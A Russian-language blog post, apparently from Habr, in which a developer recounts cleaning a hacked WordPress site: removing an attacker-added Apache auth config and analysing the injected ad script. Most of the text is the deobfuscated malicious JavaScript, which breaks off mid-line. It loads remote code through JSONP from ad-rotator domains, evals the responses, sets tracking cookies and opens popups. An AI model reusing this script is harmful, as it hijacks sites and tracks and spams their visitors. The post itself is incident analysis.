Как злоумышленники использовали сайт в качестве рекламной площадки и как я с этим боролся

от автора

Привет, Хабр!

Недавно столкнулся с ситуацией взлома сайта на WordPress у своего коллеги. Появилась реклама, которая надоедливо появлялась в углу и собственно мешала полноценной работе. Также не можно было получить доступ к административной панели WordPress, стояла HTTP-авторизация. Первым делом было решено убрать эту HTTP-авторизацию и получить доступ к админке. Если вас заинтересовало как происходил процесс реинжиниринга, прошу под кат.

Предположено было два варианта: или же выполняется вредоносный скрипт в wp-login.php, который выполнял header(‘WWW-Authenticate’), или же где-то появился левый .htaccess. Второй вариант я отложил на потом, т.к. это значило бы взлом VDS. Поэтому я принялся искать этот вредный header. Залогинившись по ssh на сервер я начал искать все возможные совпадения в структуре проекта по запросу «header(‘WWW».

grep -rwl header('WWW /var/www/mysite.com.ua 

Результат не заставил долго себя ждать и совпадений было найдено аж одно, поэтому я сразу же открыл файл wp-app.php на анализ этого header. Возможен вариант, что именно он и вызывается, блокируя вход в админку. Но это оказалось ложным предположением, код был в порядке и полностью соответствовал коду с чистого WordPress.

Остается второй вариант — .htaccess. И первое что я принялся искать — AuthType. Но где он может быть? Снова выполняем мой любимый grep:

grep -rwl AuthType /var/www/mysite.com.ua 

Результат ничего не выдал. Абсолютно. Но где-то он же подключается. Тогда я предположил самый худший вариант — conf.d в настройках apache.
Выполняем:

grep -rwl AuthType /etc/apache2/ 

И вот оно — файл wp-login.conf. В котором был заданы Rules на HTTP-авторизацию админки. Удаляем этот файл, перезагружаем apache и получаем доступ к админке. Пароли были не изменены, поэтому со входом в админку никаких проблем не возникло.

Одна проблема была решена. Но у нас еще остается проблема с подключением скрипта в тело документа. Подключается он строго в футер документа сразу же после оригинального footer. Поэтому есть смысл поискать команду похожую на эту или эту же:

echo "Evil Script"; 

Поиск ничего не выдал. Было решено попробовать сравнить каталоги рекурсивно между текущей версией сайта и его бекапом с помощью такой отличной утилиты как Meld. Но и тут нас ждало разочарование — diff был чистым и никаких намеков на выполнение либо каких инлайновых скриптов не было. Но скрипт же подключается. Тогда где и как?

Я принялся анализировать скрипт, который подключается в первую же очередь. Я открыл PhpStorm и создал новый JS-файл. В него скопировал тело скрипта и выполнил Reformat Code. Результат под спойлером:

Evil Script (очень много строк)

var s = void 0, y = !0, z = null, T = !1; (function (r, k, xb) {     function bb(a) {         return/[\\\"<>\.;]/.exec(a) != z && typeof encodeURIComponent != t ? encodeURIComponent(a) : a     }      function U(a, b) {         if (cb) {             var c = b ? "visible" : "hidden";             V && J(a) ? J(a).style.visibility = c : db("#" + a, "visibility:" + c)         }     }      function db(a, b, c, d) {         if (!n.c || !n.R) {             var e = u.getElementsByTagName("head")[0];             if (e) {                 c = c && "string" == typeof c ? c : "screen";                 d && (Da = L = z);                 if (!L || Da != c)d = u.createElement("style"), d.setAttribute("type", "text/css"), d.setAttribute("media", c), L = e.appendChild(d), n.c && (n.e && typeof u.styleSheets !=                     t && 0 < u.styleSheets.length) && (L = u.styleSheets[u.styleSheets.length - 1]), Da = c;                 n.c && n.e ? L && typeof L.addRule == M && L.addRule(a, b) : L && typeof u.createTextNode != t && L.appendChild(u.createTextNode(a + " {" + b + "}"))             }         }     }      function la(a) {         var b = n.n;         a = a.split(".");         a[0] = parseInt(a[0], 10);         a[1] = parseInt(a[1], 10) || 0;         a[2] = parseInt(a[2], 10) || 0;         return b[0] > a[0] || b[0] == a[0] && b[1] > a[1] || b[0] == a[0] && b[1] == a[1] && b[2] >= a[2] ? y : T     }      function J(a) {         var b = z;         try {             b = u.getElementById(a)         } catch (c) {         }         return b     }      function eb(a) {         var b = J(a);         b && "OBJECT" ==             b.nodeName && (n.c && n.e ? (b.style.display = "none", function () {             if (4 == b.readyState) {                 var c = J(a);                 if (c) {                     for (var d in c)"function" == typeof c[d] && (c[d] = z);                     c.parentNode.removeChild(c)                 }             } else setTimeout(arguments.callee, 10)         }()) : b.parentNode.removeChild(b))     }      function Ea(a, b, c) {         var d, e = J(c);         if (n.i && 312 > n.i)return d;         if (e)if (typeof a.id == t && (a.id = c), n.c && n.e) {             var f = "", p;             for (p in a)a[p] != Object.prototype[p] && ("data" == p.toLowerCase() ? b.movie = a[p] : "styleclass" == p.toLowerCase() ? f += ' class\x3d"' + a[p] + '"' : "classid" != p.toLowerCase() &&                 (f += " " + p + '\x3d"' + a[p] + '"'));             p = "";             for (var h in b)b[h] != Object.prototype[h] && (p += '\x3cparam name\x3d"' + h + '" value\x3d"' + b[h] + '" /\x3e');             e.outerHTML = '\x3cobject classid\x3d"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"' + f + "\x3e" + p + "\x3c/object\x3e";             ma[ma.length] = a.id;             d = J(a.id)         } else {             h = u.createElement(M);             h.setAttribute("type", na);             for (var j in a)a[j] != Object.prototype[j] && ("styleclass" == j.toLowerCase() ? h.setAttribute("class", a[j]) : "classid" != j.toLowerCase() && h.setAttribute(j, a[j]));             for (f in b)b[f] != Object.prototype[f] &&                 "movie" != f.toLowerCase() && (a = h, p = f, j = b[f], c = u.createElement("param"), c.setAttribute("name", p), c.setAttribute("value", j), a.appendChild(c));             e.parentNode.replaceChild(h, e);             d = h         }         return d     }      function Fa(a) {         var b = u.createElement("div");         if (n.e && n.c)b.innerHTML = a.innerHTML; else if (a = a.getElementsByTagName(M)[0])if (a = a.childNodes)for (var c = a.length, d = 0; d < c; d++)!(1 == a[d].nodeType && "PARAM" == a[d].nodeName) && 8 != a[d].nodeType && b.appendChild(a[d].cloneNode(y));         return b     }      function yb(a) {         if (n.c && n.e && 4 != a.readyState) {             var b =                 u.createElement("div");             a.parentNode.insertBefore(b, a);             b.parentNode.replaceChild(Fa(a), b);             a.style.display = "none";             (function () {                 4 == a.readyState ? a.parentNode.removeChild(a) : setTimeout(arguments.callee, 10)             })()         } else a.parentNode.replaceChild(Fa(a), a)     }      function Ga(a, b, c, d) {         oa = y;         Ha = d || z;         fb = {success: T, id: c};         var e = J(c);         if (e) {             "OBJECT" == e.nodeName ? (ea = Fa(e), pa = z) : (ea = e, pa = c);             a.id = gb;             if (typeof a.width == t || !/%$/.test(a.width) && 310 > parseInt(a.width, 10))a.width = "310";             if (typeof a.height == t || !/%$/.test(a.height) && 137 >                 parseInt(a.height, 10))a.height = "137";             u.title = u.title.slice(0, 47) + " - Flash Player Installation";             d = n.c && n.e ? "ActiveX" : "PlugIn";             d = "MMredirectURL\x3d" + G.location.toString().replace(/&/g, "%26") + "\x26MMplayerType\x3d" + d + "\x26MMdoctitle\x3d" + u.title;             b.s = typeof b.s != t ? b.s + ("\x26" + d) : d;             n.c && (n.e && 4 != e.readyState) && (d = u.createElement("div"), c += "SWFObjectNew", d.setAttribute("id", c), e.parentNode.insertBefore(d, e), e.style.display = "none", function () {                 4 == e.readyState ? e.parentNode.removeChild(e) : setTimeout(arguments.callee,                     10)             }());             Ea(a, b, c)         }     }      function Ia() {         return!oa && la("6.0.65") && (n.e || n.R) && !(n.i && 312 > n.i)     }      function Ja(a) {         var b = z;         if ((a = J(a)) && "OBJECT" == a.nodeName)typeof a.SetVariable != t ? b = a : (a = a.getElementsByTagName(M)[0]) && (b = a);         return b     }      function Ka() {         var a = P.length;         if (0 < a)for (var b = 0; b < a; b++) {             var c = P[b].id, d = P[b].fa, e = {success: T, id: c};             if (0 < n.n[0]) {                 var f = J(c);                 if (f)if (la(P[b].qa) && !(n.i && 312 > n.i))U(c, y), d && (e.success = y, e.S = Ja(c), d(e)); else if (P[b].O && Ia()) {                     e = {};                     e.data = P[b].O;                     e.width = f.getAttribute("width") || "0";                     e.height =                         f.getAttribute("height") || "0";                     f.getAttribute("class") && (e.jb = f.getAttribute("class"));                     f.getAttribute("align") && (e.align = f.getAttribute("align"));                     for (var p = {}, f = f.getElementsByTagName("param"), h = f.length, j = 0; j < h; j++)"movie" != f[j].getAttribute("name").toLowerCase() && (p[f[j].getAttribute("name")] = f[j].getAttribute("value"));                     Ga(e, p, c, d)                 } else yb(f), d && d(e)             } else if (U(c, y), d) {                 if ((c = Ja(c)) && typeof c.SetVariable != t)e.success = y, e.S = c;                 d(e)             }         }     }      function hb(a) {         if (typeof G.addEventListener != t)G.addEventListener("load",             a, T); else if (typeof u.addEventListener != t)u.addEventListener("load", a, T); else if (typeof G.attachEvent != t) {             var b = G;             b.attachEvent("onload", a);             Y[Y.length] = [b, "onload", a]         } else if ("function" == typeof G.onload) {             var c = G.onload;             G.onload = function () {                 c();                 a()             }         } else G.onload = a     }      function ib(a) {         V ? a() : qa[qa.length] = a     }      function Z() {         if (!V) {             try {                 var a = u.getElementsByTagName("body")[0].appendChild(u.createElement("span"));                 a.parentNode.removeChild(a)             } catch (b) {                 return             }             V = y;             for (var a = qa.length, c = 0; c < a; c++)qa[c]()         }     }      function jb(a) {         return/[\\\"<>\.;]/.exec(a) !=             z && typeof encodeURIComponent != v ? encodeURIComponent(a) : a     }      function W(a, b) {         if (kb) {             var c = b ? "visible" : "hidden";             X && K(a) ? K(a).style.visibility = c : lb("#" + a, "visibility:" + c)         }     }      function lb(a, b, c, d) {         if (!m.c || !m.R) {             var e = l.getElementsByTagName("head")[0];             if (e) {                 c = c && "string" == typeof c ? c : "screen";                 d && (La = N = z);                 if (!N || La != c)d = l.createElement("style"), d.setAttribute("type", "text/css"), d.setAttribute("media", c), N = e.appendChild(d), m.c && (m.e && typeof l.styleSheets != v && 0 < l.styleSheets.length) && (N = l.styleSheets[l.styleSheets.length -                     1]), La = c;                 m.c && m.e ? N && typeof N.addRule == O && N.addRule(a, b) : N && typeof l.createTextNode != v && N.appendChild(l.createTextNode(a + " {" + b + "}"))             }         }     }      function ra(a) {         var b = m.n;         a = a.split(".");         a[0] = parseInt(a[0], 10);         a[1] = parseInt(a[1], 10) || 0;         a[2] = parseInt(a[2], 10) || 0;         return b[0] > a[0] || b[0] == a[0] && b[1] > a[1] || b[0] == a[0] && b[1] == a[1] && b[2] >= a[2] ? y : T     }      function K(a) {         var b = z;         try {             b = l.getElementById(a)         } catch (c) {         }         return b     }      function mb(a) {         var b = K(a);         b && "OBJECT" == b.nodeName && (m.c && m.e ? (b.style.display = "none", function () {             if (4 == b.readyState) {                 var c =                     K(a);                 if (c) {                     for (var d in c)"function" == typeof c[d] && (c[d] = z);                     c.parentNode.removeChild(c)                 }             } else setTimeout(arguments.callee, 10)         }()) : b.parentNode.removeChild(b))     }      function Ma(a, b, c) {         var d, e = K(c);         if (m.i && 312 > m.i)return d;         if (e)if (typeof a.id == v && (a.id = c), m.c && m.e) {             var f = "", p;             for (p in a)a[p] != Object.prototype[p] && ("data" == p.toLowerCase() ? b.movie = a[p] : "styleclass" == p.toLowerCase() ? f += ' class\x3d"' + a[p] + '"' : "classid" != p.toLowerCase() && (f += " " + p + '\x3d"' + a[p] + '"'));             p = "";             for (var h in b)b[h] != Object.prototype[h] &&             (p += '\x3cparam name\x3d"' + h + '" value\x3d"' + b[h] + '" /\x3e');             e.outerHTML = '\x3cobject classid\x3d"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"' + f + "\x3e" + p + "\x3c/object\x3e";             sa[sa.length] = a.id;             d = K(a.id)         } else {             h = l.createElement(O);             h.setAttribute("type", ta);             for (var j in a)a[j] != Object.prototype[j] && ("styleclass" == j.toLowerCase() ? h.setAttribute("class", a[j]) : "classid" != j.toLowerCase() && h.setAttribute(j, a[j]));             for (f in b)b[f] != Object.prototype[f] && "movie" != f.toLowerCase() && (a = h, p = f, j = b[f], c = l.createElement("param"),                 c.setAttribute("name", p), c.setAttribute("value", j), a.appendChild(c));             e.parentNode.replaceChild(h, e);             d = h         }         return d     }      function Na(a) {         var b = l.createElement("div");         if (m.e && m.c)b.innerHTML = a.innerHTML; else if (a = a.getElementsByTagName(O)[0])if (a = a.childNodes)for (var c = a.length, d = 0; d < c; d++)!(1 == a[d].nodeType && "PARAM" == a[d].nodeName) && 8 != a[d].nodeType && b.appendChild(a[d].cloneNode(y));         return b     }      function zb(a) {         if (m.c && m.e && 4 != a.readyState) {             var b = l.createElement("div");             a.parentNode.insertBefore(b, a);             b.parentNode.replaceChild(Na(a),                 b);             a.style.display = "none";             (function () {                 4 == a.readyState ? a.parentNode.removeChild(a) : setTimeout(arguments.callee, 10)             })()         } else a.parentNode.replaceChild(Na(a), a)     }      function Oa(a, b, c, d) {         ua = y;         Pa = d || z;         nb = {success: T, id: c};         var e = K(c);         if (e) {             "OBJECT" == e.nodeName ? (fa = Na(e), va = z) : (fa = e, va = c);             a.id = ob;             if (typeof a.width == v || !/%$/.test(a.width) && 310 > parseInt(a.width, 10))a.width = "310";             if (typeof a.height == v || !/%$/.test(a.height) && 137 > parseInt(a.height, 10))a.height = "137";             l.title = l.title.slice(0, 47) + " - Flash Player Installation";             d = m.c && m.e ? "ActiveX" : "PlugIn";             d = "MMredirectURL\x3d" + H.location.toString().replace(/&/g, "%26") + "\x26MMplayerType\x3d" + d + "\x26MMdoctitle\x3d" + l.title;             b.s = typeof b.s != v ? b.s + ("\x26" + d) : d;             m.c && (m.e && 4 != e.readyState) && (d = l.createElement("div"), c += "SWFObjectNew", d.setAttribute("id", c), e.parentNode.insertBefore(d, e), e.style.display = "none", function () {                 4 == e.readyState ? e.parentNode.removeChild(e) : setTimeout(arguments.callee, 10)             }());             Ma(a, b, c)         }     }      function Qa() {         return!ua && ra("6.0.65") && (m.e || m.R) && !(m.i && 312 > m.i)     }      function Ra(a) {         var b = z;         if ((a = K(a)) && "OBJECT" == a.nodeName)typeof a.SetVariable != v ? b = a : (a = a.getElementsByTagName(O)[0]) && (b = a);         return b     }      function Sa() {         var a = Q.length;         if (0 < a)for (var b = 0; b < a; b++) {             var c = Q[b].id, d = Q[b].fa, e = {success: T, id: c};             if (0 < m.n[0]) {                 var f = K(c);                 if (f)if (ra(Q[b].qa) && !(m.i && 312 > m.i))W(c, y), d && (e.success = y, e.S = Ra(c), d(e)); else if (Q[b].O && Qa()) {                     e = {};                     e.data = Q[b].O;                     e.width = f.getAttribute("width") || "0";                     e.height = f.getAttribute("height") || "0";                     f.getAttribute("class") && (e.jb = f.getAttribute("class"));                     f.getAttribute("align") && (e.align = f.getAttribute("align"));                     for (var p = {}, f = f.getElementsByTagName("param"), h = f.length, j = 0; j < h; j++)"movie" != f[j].getAttribute("name").toLowerCase() && (p[f[j].getAttribute("name")] = f[j].getAttribute("value"));                     Oa(e, p, c, d)                 } else zb(f), d && d(e)             } else if (W(c, y), d) {                 if ((c = Ra(c)) && typeof c.SetVariable != v)e.success = y, e.S = c;                 d(e)             }         }     }      function pb(a) {         if (typeof H.addEventListener != v)H.addEventListener("load", a, T); else if (typeof l.addEventListener != v)l.addEventListener("load", a, T); else if (typeof H.attachEvent !=             v) {             var b = H;             b.attachEvent("onload", a);             aa[aa.length] = [b, "onload", a]         } else if ("function" == typeof H.onload) {             var c = H.onload;             H.onload = function () {                 c();                 a()             }         } else H.onload = a     }      function qb(a) {         X ? a() : wa[wa.length] = a     }      function ba() {         if (!X) {             try {                 var a = l.getElementsByTagName("body")[0].appendChild(l.createElement("span"));                 a.parentNode.removeChild(a)             } catch (b) {                 return             }             X = y;             for (var a = wa.length, c = 0; c < a; c++)wa[c]()         }     }      function E(a, b) {         function c() {         }          c.prototype = b.prototype;         a.prototype = new c;         a.prototype.constructor = a;         a.nb = b.prototype;         b.prototype.constructor == Object.prototype.constructor && (b.prototype.constructor = b)     }      function rb(a) {         this.a = g.parseJSON(g.L(a));         r.globalInfo = {};         g.log(this.a);         if (this.a.ukDomain && this.a.ukUri && !r.udata && !this.a.dontGoToUK) {             var b = this, c = setTimeout(function () {                 b.oa()             }, 5E3);             g.da(this.a.ukDomain, this.a.ukUri, function (a) {                 clearTimeout(c);                 g.parseJSON(g.L(a));                 r.globalInfo.udata = a;                 b.oa()             }, "jsf")         } else this.a.foreignUid || this.Ba(this.a.matchingUrl), this.oa()     }      function sb() {     }      function I() {     }      function xa() {     }      function Ta() {     }      function Ua() {     }      function Va() {     }      function ca() {     }      function Wa() {     }      function ya() {     }      function Xa() {     }      function Ya() {     }      function da() {     }      function ga() {     }      function Za() {     }      var v = "undefined", O = "object", ta = "application/x-shockwave-flash", ob = "SWFObjectExprInst", H = r, l = k, R = navigator, tb = T, wa = [function () {         if (tb) {             var a = l.getElementsByTagName("body")[0], b = l.createElement(O);             b.setAttribute("type", ta);             var c = a.appendChild(b);             if (c) {                 var d = 0;                 (function () {                     if (typeof c.GetVariable != v) {                         var e = c.GetVariable("$version");                         e && (e = e.split(" ")[1].split(","),                             m.n = [parseInt(e[0], 10), parseInt(e[1], 10), parseInt(e[2], 10)])                     } else if (10 > d) {                         d++;                         setTimeout(arguments.callee, 10);                         return                     }                     a.removeChild(b);                     c = z;                     Sa()                 })()             } else Sa()         } else Sa()     }], Q = [], sa = [], aa = [], fa, va, Pa, nb, X = T, ua = T, N, La, kb = y, m, Ab = typeof l.getElementById != v && typeof l.getElementsByTagName != v && typeof l.createElement != v, za = R.userAgent.toLowerCase(), Aa = R.platform.toLowerCase(), Bb = Aa ? /win/.test(Aa) : /win/.test(za), Cb = Aa ? /mac/.test(Aa) : /mac/.test(za), Db = /webkit/.test(za) ? parseFloat(za.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,         "$1")) : T, $a = !+"\v1", ha = [0, 0, 0], C = z;     if (typeof R.plugins != v && typeof R.plugins["Shockwave Flash"] == O) {         if ((C = R.plugins["Shockwave Flash"].description) && !(typeof R.mimeTypes != v && R.mimeTypes[ta] && !R.mimeTypes[ta].enabledPlugin))tb = y, $a = T, C = C.replace(/^.*\s+(\S+\s+\S+$)/, "$1"), ha[0] = parseInt(C.replace(/^(.*)\..*$/, "$1"), 10), ha[1] = parseInt(C.replace(/^.*\.(.*)\s.*$/, "$1"), 10), ha[2] = /[a-zA-Z]/.test(C) ? parseInt(C.replace(/^.*[a-zA-Z]+(.*)$/, "$1"), 10) : 0     } else if (typeof H.ActiveXObject != v)try {         var ub = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");         if (ub && (C = ub.GetVariable("$version")))$a = y, C = C.split(" ")[1].split(","), ha = [parseInt(C[0], 10), parseInt(C[1], 10), parseInt(C[2], 10)]     } catch (Ub) {     }     m = {j: Ab, n: ha, i: Db, c: $a, e: Bb, R: Cb};     m.j && ((typeof l.readyState != v && "complete" == l.readyState || typeof l.readyState == v && (l.getElementsByTagName("body")[0] || l.body)) && ba(), X || (typeof l.addEventListener != v && l.addEventListener("DOMContentLoaded", ba, T), m.c && m.e && (l.attachEvent("onreadystatechange", function () {         "complete" == l.readyState && (l.detachEvent("onreadystatechange",             arguments.callee), ba())     }), H == top && function () {         if (!X) {             try {                 l.La.doScroll("left")             } catch (a) {                 setTimeout(arguments.callee, 0);                 return             }             ba()         }     }()), m.i && function () {         X || (/loaded|complete/.test(l.readyState) ? ba() : setTimeout(arguments.callee, 0))     }(), pb(ba)));     m.c && m.e && r.attachEvent("onunload", function () {         for (var a = aa.length, b = 0; b < a; b++)aa[b][0].detachEvent(aa[b][1], aa[b][2]);         a = sa.length;         for (b = 0; b < a; b++)mb(sa[b]);         for (var c in m)m[c] = z;         m = z;         for (var d in g.w)g.w[d] = z;         g.w = z     });     sb.prototype = {Y: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_",         U: "left:-10000px;top:-10000px;height:1px;width:1px;position:absolute;", Q: function () {             return!r.addEventListener && !r.XMLHttpRequest && r.attachEvent         }, v: function () {             if ("BackCompat" == k.compatMode && 10 > g.Xa())return T;             var a = k.createElement("div");             a.style.cssText = "position:fixed";             return a.style.position.match("fixed") ? y : T         }, Ya: function (a) {             a.matchUrl && (this.X(a.matchUrl).style.cssText = this.U)         }, ga: function (a) {             if (0 == a.limit && 0 == a.period)return y;             if (this.la(a.periodName) == z) {                 var b = parseInt(this.la(a.limitName));                 if (0 == a.limit || isNaN(b) || b < a.limit)return y             }             return T         }, Xa: function () {             var a = 999;             -1 != navigator.appVersion.indexOf("MSIE") && (a = parseFloat(navigator.appVersion.split("MSIE")[1]));             return a         }, Ea: function (a) {             var b = new Date, c = parseInt(this.la(a.limitName), 10), c = isNaN(c) ? 1 : c + 1;             b.setTime(b.getTime() + 6E4 * parseInt(a.period, 10));             this.ra(a.periodName, 1, b, "/");             b.setTime(b.getTime() + 432E5);             this.ra(a.limitName, c, b, "/")         }, ra: function (a, b) {             var c = arguments, d = c.length, e = 2 < d ? c[2] : z, f = 3 < d ? c[3] : z, p = 4 < d ? c[4] : z;             k.cookie = a + "\x3d" +                 encodeURIComponent(b) + (e == z ? "" : "; expires\x3d" + e.toGMTString()) + (f == z ? "" : "; path\x3d" + f) + (p == z ? "" : "; domain\x3d" + p) + ((5 < d ? c[5] : T) == y ? "; secure" : "")         }, pa: function () {             var a, b = k.createElement("div"), c = ["Khtml", "Ms", "O", "Moz", "Webkit"], d = c.length;             a = function (a) {                 if (a in b.style)return y;                 for (a = a.replace(/^[a-z]/, function (a) {                     return a.toUpperCase()                 }); d--;)if (c[d] + a in b.style)return y;                 return T             };             return a("boxShadow") && a("borderRadius")         }, log: function () {         }, la: function (a) {             var b = " " + k.cookie;             a = " " + a + "\x3d";             var c =                 z, d = 0, e = 0;             0 < b.length && (d = b.indexOf(a), -1 != d && (d += a.length, e = -1 == b.indexOf(";", d) ? b.length : b.indexOf(";", d), c = decodeURIComponent(b.substring(d, e))));             return c         }, Na: function (a, b) {             var c = "", d = "", e, f, p, h, j, g = 0;             b &= 255;             a = this.mb(a);             for (f = 0; f < a.length; d += String.fromCharCode(b ^ a.charCodeAt(f)), f++);             for (a = d; g < a.length;)e = a.charCodeAt(g++), d = a.charCodeAt(g++), f = a.charCodeAt(g++), p = e >> 2, e = (e & 3) << 4 | d >> 4, h = (d & 15) << 2 | f >> 6, j = f & 63, isNaN(d) ? h = j = 64 : isNaN(f) && (j = 64), c = c + this.Y.charAt(p) + this.Y.charAt(e) + this.Y.charAt(h) +                 this.Y.charAt(j);             return c         }, L: function (a, b) {             a = a.replace(/[\-]/g, "+").replace(/[_]/g, "/");             for (var c = [-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, 0, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1], d, e, f = 0, g = [], h = 0, j = 0, f = 0; f < a.length; f++)e =                 a.charCodeAt(f), d = c[e & 127], -1 === d ? this.log("Illegal characters (code\x3d" + e + ") in position " + f) : (j = j << 6 | d, h += 6, 8 <= h && (h -= 8, "\x3d" !== a.charAt(f) && g.push(j >> h & 255), j &= (1 << h) - 1));             if (b) {                 c = [];                 b &= 255;                 for (d = 0; d < g.length; c.push(b ^ g[d]), d++);                 g = c             }             return this.lb(g)         }, lb: function (a) {             for (var b = [], c = 0, d = a.length, e, f, g; c < d;)e = a[c], f = a[c + 1], g = a[c + 2], 128 > e ? (b.push(String.fromCharCode(e)), c += 1) : 191 < e && 224 > e ? (b.push(String.fromCharCode((e & 31) << 6 | f & 63)), c += 2) : (b.push(String.fromCharCode((e & 15) << 12 | (f & 63) << 6 | g & 63)), c +=                 3);             return b.join("")         }, mb: function (a) {             a = a.replace(/\r\n/g, "\n");             for (var b = "", c = 0; c < a.length; c++) {                 var d = a.charCodeAt(c);                 128 > d ? b += String.fromCharCode(d) : (127 < d && 2048 > d ? b += String.fromCharCode(d >> 6 | 192) : (b += String.fromCharCode(d >> 12 | 224), b += String.fromCharCode(d >> 6 & 63 | 128)), b += String.fromCharCode(d & 63 | 128))             }             return b         }, ma: function (a, b, c, d) {             var e = navigator.userAgent.toLowerCase();             -1 != e.indexOf("safari") && -1 == e.indexOf("chrome") && (d = d || "width\x3d" + r.screen.width + ",height\x3d" + r.screen.height + ",left\x3d0,top\x3d0,menubar\x3dno,location\x3dno,resizable\x3dyes,scrollbars\x3dyes,status\x3dno");             a = r.open(a, c || "", d);             b || (a.blur(), r.focus())         }, g: function (a) {             var b = +new Date % 1E6;             return"/?" + b + "\x3d" + this.Na(a.replace("/?", ""), b)         }, w: {eb: function (a, b, c, d) {             if (m.j && a && b) {                 var e = {};                 e.id = a;                 e.qa = b;                 e.O = c;                 e.fa = d;                 Q[Q.length] = e;                 W(a, T)             } else d && d({success: T, id: a})         }, Sa: function (a) {             if (m.j)return Ra(a)         }, N: function (a, b, c, d, e, f, g, h, j, k) {             var A = {success: T, id: b};             m.j && !(m.i && 312 > m.i) && a && b && c && d && e ? (W(b, T), qb(function () {                 c += "";                 d += "";                 var q = {};                 if (j && typeof j === O)for (var B in j)q[B] = j[B];                 q.data = a;                 q.width = c;                 q.height = d;                 B = {};                 if (h && typeof h === O)for (var r in h)B[r] = h[r];                 if (g && typeof g === O)for (var F in g)B.s = typeof B.s != v ? B.s + ("\x26" + F + "\x3d" + g[F]) : F + "\x3d" + g[F];                 if (ra(e))r = Ma(q, B, b), q.id == b && W(b, y), A.success = y, A.S = r; else {                     if (f && Qa()) {                         q.data = f;                         Oa(q, B, b, k);                         return                     }                     W(b, y)                 }                 k && k(A)             })) : k && k(A)         }, kb: function () {             kb = T         }, W: m, Ra: function () {             return{$a: m.n[0], bb: m.n[1], fb: m.n[2]}         }, va: ra, Ka: function (a, b, c) {             if (m.j)return Ma(a, b, c)         }, hb: function (a, b, c, d) {             m.j && Qa() && Oa(a, b, c, d)         }, gb: function (a) {             m.j && mb(a)         }, Ja: function (a, b, c, d) {             m.j && lb(a, b, c, d)         },             Fa: qb, Ha: pb, Ta: function (a) {                 var b = l.location.search || l.location.hash;                 if (b) {                     /\?/.test(b) && (b = b.split("?")[1]);                     if (a == z)return jb(b);                     for (var b = b.split("\x26"), c = 0; c < b.length; c++)if (b[c].substring(0, b[c].indexOf("\x3d")) == a)return jb(b[c].substring(b[c].indexOf("\x3d") + 1))                 }                 return""             }, Pa: function () {                 if (ua) {                     var a = K(ob);                     a && fa && (a.parentNode.replaceChild(fa, a), va && (W(va, y), m.c && m.e && (fa.style.display = "block")), Pa && Pa(nb));                     ua = T                 }             }}, parseJSON: function (a) {             return eval("(" + a + ")")         }, da: function (a, b, c, d) {             d = d || "jclb";             if (c) {                 var e = "jsonp" + String(Math.random()).slice(4);                 b += "\x26" + d + "\x3dwindow." + e;                 r[e] = function (a) {                     scriptOk = y;                     r[e] = s;                     try {                         delete r[e]                     } catch (b) {                     }                     g.log("Callback called");                     c(a)                 }             }             b = this.g(b);             d = this.z("script");             d.src = a + b;             return d         }, X: function (a, b) {             var c = this.z("img", b);             c.src = a;             return c         }, Ga: function (a, b) {             var c = this.z("iframe", b);             c.src = a;             return c         }, z: function (a, b) {             var c = k.createElement(a);             b ? b.appendChild(c) : k.body.appendChild(c);             return c         }, Va: function () {             var a = 0, b = 0;             r.screen ? (b = r.screen.width, a = r.screen.height) :                 r.Za && (a = r.Za.awt.Toolkit.getDefaultToolkit().getScreenSize(), b = a.width, a = a.height);             return"\x26width\x3d" + b + "\x26height\x3d" + a         }, aa: function (a) {             function b() {                 return self.innerHeight ? self.innerHeight : k.documentElement && k.documentElement.clientHeight ? k.documentElement.clientHeight : k.body ? k.body.clientHeight : 600             }              function c() {                 var a = 0, b = 0;                 if ("number" == typeof r.pageYOffset)b = r.pageYOffset, a = r.pageXOffset; else if (k.body && (k.body.scrollLeft || k.body.scrollTop))b = k.body.scrollTop, a = k.body.scrollLeft; else if (k.documentElement &&                     (k.documentElement.scrollLeft || k.documentElement.scrollTop))b = k.documentElement.scrollTop, a = k.documentElement.scrollLeft;                 return[a, b]             }              switch (a.type) {                 case "top":                     a.F.style.top = c()[1] + "px";                     break;                 case "center":                     a.F.style.top = b() / 2 + c()[1] - a.F.offsetHeight + "px";                     break;                 default:                     a.F.style.top = b() + c()[1] - a.F.offsetHeight + "px"             }         }, Ua: function (a) {             return k.referrer && -1 == a.indexOf("\x26ref\x3d") ? "\x26ref\x3d" + encodeURIComponent(k.referrer) : ""         }, Oa: function (a, b) {             return-1 !== a.indexOf(b, a.length - b.length)         }, k: function () {             var a =                 (k.compatMode || this.za) && !this.ca ? "CSS1Compat" == k.compatMode ? k.documentElement.clientHeight : k.body.clientHeight : (k.cb || k.defaultView).innerHeight;             g.log(a);             return a         }, ua: function () {             return(k.compatMode || this.za) && !this.ca ? "CSS1Compat" == k.compatMode ? k.documentElement.clientWidth : k.body.clientWidth : (k.cb || k.defaultView).innerWidth         }, q: function () {             return Math.max(r.pageYOffset || k.documentElement.scrollTop, k.body.scrollTop)         }};     rb.prototype = {a: {}, r: {}, f: z, oa: function () {         function a(a) {             a = g.parseJSON(g.L(a));             g.log("Success RT, ",                 a);             g.Ya(a);             b.r = a;             var c = {br: Eb, as: Fb, tl: Gb, cf: Hb, vkm: Ib, rot: Jb, popup: Kb, mppund: Lb, tsr: Mb, scr: Nb, pin: Ob, mdirect: Pb};             if (a.ads)for (var f = 0; f < a.ads.length; f++) {                 var p = c[a.ads[f].format];                 p ? (g.log("Rendering,", a.ads[f]), p.p(a.ads[f])) : g.log("Cant render ad:", a.ads[f])             }         }          var b = this, c = this.a.rtUri.replace("/?", "");         this.a.rotatorDomain && this.a.rtUri && g.da(this.a.rotatorDomain, this.a.rtUri + this.Wa(c) + 